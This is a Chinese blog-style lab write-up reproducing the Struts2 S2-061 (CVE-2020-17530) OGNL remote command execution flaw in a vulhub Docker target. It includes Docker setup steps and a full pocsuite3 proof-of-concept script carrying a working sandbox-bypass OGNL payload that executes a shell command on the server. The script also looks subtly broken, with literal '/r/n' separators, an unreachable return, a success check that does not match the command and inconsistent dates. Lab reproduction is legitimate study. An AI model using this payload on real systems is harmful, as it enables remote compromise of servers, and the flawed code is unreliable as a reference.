**
Struts2 S2-061 远程命令执行漏洞复现
**
1. 概述
s2-061 是一个远程命令执行的漏洞,Struts2 会对某些标签属性(比如 id
,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}
且 x
的值用户可控时,用户再传入一个 %{payload}
即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
所以在对漏洞进行绕过时,可以考虑从id入手,这里主要讲怎么复现这个漏洞。
2. 复现
1.用到的工具:pocsuite vulhub docker/docker-compose 、burp suite
2.各个软件的安装过程:
- docker/docker-compose
step1.
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
step2.
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
step3.
echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list
step4.
apt-get update
ss-local -c /etc/*.json (起飞机)
proxychains4 apt-get install docker-engine 代理下载
安装完成之后再下载其他插件的时候会经常超时,或者出现一些奇怪的错误,这当中有一部分原因就是因为服务在国外,所以出现的,所以这里建议及时把源换一下,这里就不赘述了
在一个安装完成之后怎么验证自己安装成功了呢
这里就要用到
docker version #验证docker的版本
docker-compose version #验证docker-compose 的版本
docker run --rm hello-world
- vulhub
https://www.cnblogs.com/lxfweb/archive/2004/01/13/12952490.html
- pocsuite
https://paper.seebug.org/904/
其他的安装的就没有了
搭建靶场的时候 把目录切到相应的文件夹
docker-compose up -d
systemctl start docker
docker ps
访问http://192.168.1.107 :8080/
注:192.168.1.107是指虚拟机的ip 可以使用127.0.0.1或者localhost代替
这样就可以看到靶场的原界面
下一步就是开启代理
用bp抓包,看显示结果了
接下来的复现有两种方式,
第一种就是直接去github上面找源码send一下皆可以看出来了
可以通过改变id 的、值来看会更加直观,可以改为whoami或者 echo md5(333)来实现(网上有很多的便利的,这里不做赘述)
第二种就是写一个脚本来实现
具体的写法可以在github上找模板,来更改一些东西实现
下面源码奉上
from pocsuite3.api import Output, POCBase, register_poc, requests
from urllib.parse import urljoin
class DemoPOC(POCBase):
# PoC信息字段,需要完整填写全部下列信息
vulID = '89688' # 漏洞编号,若提交漏洞的同时提交PoC,则写成0
version = '1' # PoC版本,默认为1
author = ['111'] # 编写PoC日期
vulDate = '2020-12-11' # 漏洞公开日期
createDate = '2018-09-18' # 编写PoC日期
updateDate = '2018-09-18' # 更新PoC日期,默认与createDate一样
references = ['https://www.seebug.org/vuldb/ssvid-89688'] # 漏洞地址来源,0day不写
name = 'Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)' # PoC名称
appPowerLink = '' # 漏洞产商主页
appName = 'Struts2 S2-061' # 漏洞应用名称
appVersion = 'All' # 漏洞影响版本
desc = '''dfhgre''' # 在漏洞描述填写
samples = [''] # 测试成功网址
def _verify(self):
result = {}
path = 'index.action'
url = urljoin(self.url, path)
# 此处payload即为post的数据
headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'}
payload = '''------WebKitFormBoundaryl7d1B1aGsV2wcZwF/r/nContent-Disposition: form-data; name="id"/r/n%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("echo md5(333)")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}/r/n------WebKitFormBoundaryl7d1B1aGsV2wcZwF--'''
try:
response = requests.post(url, data=payload, headers=headers)
print(response.text)
if response and response.status_code == 200 and 'demo' in response.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
pass
return self.parse_output(result)
def _attack(self):
return self._verify()
return output
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
接下来是运行(把debug切换到代码所在的目录)
pocsuite -r main.py -u http://192.168.126.128:8080 --verify
192.168.126.128指的是虚拟机的ip
这样就可以得到和第一种方法的结果相同
其实无论是第一种方法还是第二种方法都是利用Struts2 会对某些标签属性(比如 `id`,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,用户再传入一个 `%{payload}` 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过的方法
方法各有千秋,其目的一样
- 思考
其实在整个复现的过程中,大部分的错误都是由于自己的粗心造成的,所以对于想我一样的新手来说,一定不要求快,而且百度基本都有解答,比如我就以为docker和-compose之间有一个空格,导致我去弄了将近半小时
还有最难的是脚本的编写,所以python真的对于网安学习真的很重要
写法和爬虫的写法有异曲同工之妙,但是又有很大的不同。
当然最重要的就是要有耐心,还要与同学交流,闭门造车终不及众人划桨
,当然,不要问我要截图,因为我电脑蹦了,就是因为打开QQ。泪目。。。。。。